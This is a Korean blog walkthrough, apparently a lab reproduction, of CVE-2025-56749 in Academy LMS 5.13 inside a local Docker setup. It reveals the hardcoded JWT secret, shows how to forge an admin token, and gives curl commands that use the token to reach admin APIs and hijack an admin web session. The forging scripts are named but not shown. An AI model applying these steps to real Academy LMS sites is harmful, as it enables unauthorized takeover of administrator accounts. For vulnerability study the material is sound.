Docker 로 Academy LMS 구현하기

WONY_yoon·2025년 12월 14일

CVE-2025-56749 Academy LMS 취약점 재현

MACos 환경에서 구현

1. 환경 준비

1.1. 필요 도구 확인 / 설치

Docker 설치 확인

docker --version
docker-compose --version

Python3 설치 확인

python3 --version
pip3 --version

1.2. 작업 디렉토리 생성

mkdir academy-lms-poc
cd academy-lms-poc
mkdir -p {academy_lms,scripts,logs}

1.3. Docker Compose 파일 생성

nano docker-compose.yml

version: '3.8'

services:
  mysql:
    image: mysql:5.7
    platform: linux/amd64
    container_name: academy_lms_db
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: rootpass123
      MYSQL_DATABASE: academy_lms
      MYSQL_USER: academy_user
      MYSQL_PASSWORD: academy_pass
    ports:
      - "3306:3306"
    volumes:
      - mysql_data:/var/lib/mysql
    networks:
      - academy_network

  php-apache:
    image: php:7.4-apache
    container_name: academy_lms_web
    restart: always
    depends_on:
      - mysql
    ports:
      - "8080:80"
    volumes:
      - ./academy_lms:/var/www/html
    networks:
      - academy_network
    environment:
      - APACHE_DOCUMENT_ROOT=/var/www/html
    command: >
      bash -c "
      docker-php-ext-install mysqli pdo pdo_mysql &&
      a2enmod rewrite &&
      apache2-foreground
      "

networks:
  academy_network:
    driver: bridge

volumes:
  mysql_data:

1.4. 컨테이너 시작

docker compose pull
docker-compose up -d

상태 확인

docker-compose ps
docker logs academy_lms_web

2. Academy LMS 5.13 설치

2.1. 소스코드 배치

필요한 소스코드 직접 배치

cp -r /path/to/academy_lms_v5.13/* ~/academy-lms-poc/academy_lms/

Git clone

git clone https://github.com/your-repo/academy-lms-5.13.git .

2.2. 권한 설정 (Linux/Docker)

권한 설정하기

chmod -R 777 uploads/
chmod -R 777 application/cache/
chmod -R 777 application/logs/

권한 확인하기

2.3. Database 설정 파일 수정

database.php 수정 전

database.php 수정 후

2.4. Base URL 설정

config.php에서 base_url 설정

$config['base_url'] = 'http://localhost:8080/';

3. 초기 설정

3.1. 설치 마법사 실행

브라우저 접속

http://localhost:8080/install

3.2. 설치 단계별 진행

3.2.1. 환경 체크

3.2.2. 데이터베이스 정보 입력

각 정보에 맞게 입력
Install 클릭

3.2.3. 관리자 계정 생성

정보에 맞게 알아서 입력

3.2.4. 설치 완료

3.3. 설치 후 확인

브라우저 접속

http://localhost:8080/login

관리자 로그인

4. JWT Secret 확인

4.1. TokenHandler.php 파일 위치

Docker

docker exec academy_lms_web cat /var/www/html/application/libraries/TokenHandler.php

직접 확인

cat ~/academy-lms-poc/academy_lms/application/libraries/TokenHandler.php

4.2. TokenHandler.php 확인 내용

PRIVATE $key = "academy-lms-api-token-handler";

5. 공격 실행

5.1. 테스트 계정 생성

  1. http://localhost:8080/sign_up 접속
  2. 회원가입:
    • First Name: ____
    • Last Name: ____
    • Email: ____@example.com
    • Password: ____
  3. 이메일 인증 비활성화 상태 확인
    • Admin → Settings → Email Verification: Disabled

5.2. 정상 JWT 토큰 획득

획득

curl 'http://localhost:8080/api/login?email=____@example.com&password=____' | python3 -m json.tool

토큰 저장

NORMAL_TOKEN="eyJhbGci..."
echo "Normal Token: $NORMAL_TOKEN"

5.3. JWT 위조 스크립트 작성

scripts/forge_jwt/py

실행

pip3 install pyjwt
python3 forge_jwt.py

출력 예시

→ Admin 의 Token key 값이 나와버림

5.4. 위조 토큰으로 API test

토큰 저장

테스트 1

  1. 사용자 정보조회
    curl -X GET "http://localhost:8080/api/userdata?auth_token=$FORGED_TOKEN" | jq .
  2. 성공시, 나오는 응답

테스트 2

  1. 내 강의 목록
    curl -X GET "http://localhost:8080/api/my_courses?auth_token=$FORGED_TOKEN" | jq .
  2. 강의 관리
    curl -X GET "http://localhost:8080/api_instructor/courses?auth_token=$FORGED_TOKEN" | jq .

테스트 3

판매 리포트 조회

5.5 웹 세션 하이재킹

웹 리다이렉트 기능 악용

curl -i "http://localhost:8080/api/web_redirect_to_buy_course/${FORGED_TOKEN}/1/http"

브라우저에서 직접 접속

http://localhost:8080/api/web_redirect_to_buy_course/<실제JWT토큰>/1/http

터미널에서
echo "http://localhost:8080/api/web_redirect_to_buy_course/${FORGED_TOKEN}/1/http"
를 통해 브라우저에 실제로 넣을 URL 얻을 수 있음

결과

  • 자동으로 관리자 세션 생성
  • /admin/dashboard로 리다이렉트
  • 브라우저에서 관리자 페이지 접근 가능

6. 검증 및 정리

6.1. 공격 성공 검증

성공 항목

  • 위조 JWT로 API 인증 통과
  • 관리자 정보 조회 성공
  • 관리자 전용 API 접근 가능
  • 웹 세션 하이재킹 성공
  • 관리자 대시보드 접근

6.2. 전체 공격 스크립트

scripts/full_attack.py

실행

python3 scripts/full_attack.py

6.3. 로그 확인

Apache 로그

docker logs academy_lms_web

MySQL 로그

docker logs academy_lms_db

애플리케이션 로그

cat ~/academy-lms-poc/academy_lms/application/logs/*.php

6.4. 환경 정리

Docker 환경 종료

docker-compose down

데이터 유지하며 종료

docker-compose stop

완전 삭제

docker-compose down -v
rm -rf ~/academy-lms-poc

7. 트러블 슈팅

7.1. MySQL 연결 실패

7.2. 403 F0rbidden

7.3. API 404 오류

7.4. PyJWT 버전 이슈

0개의 댓글